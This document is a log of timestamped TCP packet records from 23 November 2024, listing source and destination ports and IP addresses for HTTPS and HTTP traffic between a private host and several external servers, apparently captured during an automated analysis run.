Nov 23, 2024 21:59:07.334564924 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:07.334582090 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:07.334639072 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:07.336740971 CET	49709	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:07.336757898 CET	443	49709	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:07.352099895 CET	443	49710	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:07.352128029 CET	443	49710	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:07.352212906 CET	49710	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:07.352214098 CET	443	49710	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:07.352283955 CET	49710	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:07.353355885 CET	49710	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:07.353373051 CET	443	49710	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:11.192477942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:11.310997009 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:11.311038971 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:11.311109066 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:11.311809063 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:11.311824083 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:11.312047005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:11.312117100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:11.313003063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:11.433293104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:12.628683090 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:12.628731012 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:12.628801107 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:12.629677057 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:12.629722118 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:12.629821062 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:12.629956007 CET	49718	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:12.629966974 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:12.630012035 CET	49718	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:12.697778940 CET	49718	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:12.697797060 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:12.698009014 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:12.698028088 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:12.698156118 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:12.698172092 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:12.701075077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:12.701138973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:12.707528114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:12.830219984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:13.043560982 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.043649912 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.139995098 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.140031099 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.141027927 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.173998117 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.174318075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:13.174377918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:13.178122044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:13.219331026 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.297755003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:13.561671972 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.561707973 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.561741114 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.561753988 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.561764956 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.561778069 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.561824083 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.676028013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:13.676095009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:13.676115036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:13.676162004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:13.677704096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:13.778651953 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.778687954 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.778760910 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.778764009 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.778845072 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.778861046 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.779822111 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.797280073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:13.812542915 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.812592030 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.812624931 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.812639952 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.812678099 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.812700033 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.846035004 CET	49673	443	192.168.2.6	173.222.162.64
Nov 23, 2024 21:59:13.940727949 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.940783024 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.940820932 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.940860033 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.940895081 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.940920115 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.979456902 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.979509115 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.979552984 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.979576111 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:13.979605913 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:13.979621887 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.010240078 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.010292053 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.010325909 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.010339975 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.010394096 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.027484894 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.027533054 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.027569056 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.027578115 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.027627945 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.072916985 CET	49674	443	192.168.2.6	173.222.162.64
Nov 23, 2024 21:59:14.131073952 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.131125927 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.131160021 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.131177902 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.131206989 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.131236076 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.142471075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.142491102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.142565966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.142576933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.142589092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.142599106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:14.142599106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:14.142608881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.142632008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:14.142647028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:14.144850969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:14.148293972 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.148339033 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.148372889 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.148386955 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.148428917 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.168176889 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.168225050 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.168256044 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.168265104 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.168323040 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.187814951 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.187865973 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.187901974 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.187912941 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.187942982 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.187963009 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.202711105 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.202755928 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.202789068 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.202795982 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.202820063 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.202858925 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.205079079 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.205188990 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.205221891 CET	443	49715	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.205308914 CET	49715	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.243458986 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.243515015 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.243756056 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.244441032 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.244455099 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.245878935 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.245912075 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.245999098 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.246170044 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.246182919 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.248671055 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.248720884 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.248779058 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.249481916 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.249490023 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.249743938 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.249928951 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.249948025 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.251636982 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.251651049 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.251708031 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.251836061 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.251842022 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.252042055 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:14.252053022 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:14.264353991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.314815998 CET	49672	443	192.168.2.6	173.222.162.64
Nov 23, 2024 21:59:14.497834921 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.497915030 CET	49718	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.506511927 CET	49718	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.506527901 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.506967068 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.507015944 CET	49718	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.513166904 CET	49718	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.513214111 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.527146101 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.527261972 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.529473066 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.529479980 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.529717922 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.529725075 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.529795885 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.529853106 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.598001003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.598066092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:14.614351988 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.614444017 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.616139889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:14.616189957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:14.618923903 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.618933916 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.619267941 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.619277954 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.619729996 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.619798899 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.735733986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.735776901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.735897064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.735950947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.736093998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.736107111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.736217976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.736231089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:14.919502020 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.919526100 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.919595003 CET	49718	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.919614077 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.919653893 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:14.919698000 CET	49718	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.921715975 CET	49718	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:14.921735048 CET	443	49718	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.121076107 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.121140003 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.121184111 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.121192932 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.121213913 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.121241093 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.121244907 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.121284008 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.121318102 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.121465921 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.121903896 CET	49717	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.121917009 CET	443	49717	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.320841074 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.320908070 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.320928097 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.320949078 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.320976973 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.320979118 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.321028948 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.321037054 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.321052074 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.321084976 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.512227058 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.512343884 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.512368917 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.512411118 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:15.512415886 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.512473106 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:15.628072977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:15.628165007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:15.964755058 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:15.966639996 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:15.966636896 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:15.991302013 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:15.991331100 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:15.991854906 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:15.991862059 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:15.992326021 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:15.992404938 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:15.992724895 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:15.992753983 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:15.992980003 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:15.993002892 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:15.993347883 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:15.993351936 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.035310030 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.036096096 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.036125898 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.036573887 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.036578894 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.153526068 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.154045105 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.154061079 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.154510021 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.154514074 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.161798954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:16.172672033 CET	49716	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:16.172708035 CET	443	49716	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:16.281349897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:16.403939009 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.403964043 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.404031992 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.404056072 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.404572964 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.404632092 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.404655933 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.404695988 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.404735088 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.404738903 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.404786110 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.405586958 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.405605078 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.405615091 CET	49721	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.405621052 CET	443	49721	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.405805111 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.405874014 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.405930996 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.405963898 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.405962944 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.405962944 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.405986071 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.406014919 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.406367064 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.406444073 CET	443	49719	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.406513929 CET	49719	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.406641960 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.406650066 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.406672001 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.407012939 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.407088041 CET	443	49722	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.407299995 CET	49722	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.413681030 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.413733959 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.413799047 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.413944960 CET	49724	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.413957119 CET	443	49724	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.416176081 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.416204929 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.416404009 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.416755915 CET	49725	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.416769028 CET	443	49725	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.416945934 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.416960001 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.417037010 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.417159081 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.417162895 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.479588032 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.479743958 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.479824066 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.480262041 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.480274916 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.480283976 CET	49723	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.480288982 CET	443	49723	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.483678102 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.483710051 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.483768940 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.484134912 CET	49727	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.484150887 CET	443	49727	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.578577042 CET	443	49703	173.222.162.64	192.168.2.6
Nov 23, 2024 21:59:16.578675032 CET	49703	443	192.168.2.6	173.222.162.64
Nov 23, 2024 21:59:16.606601954 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.606669903 CET	443	49720	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:16.606751919 CET	49720	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:16.607002020 CET	49720	443	192.168.2.6	13.107.246.63
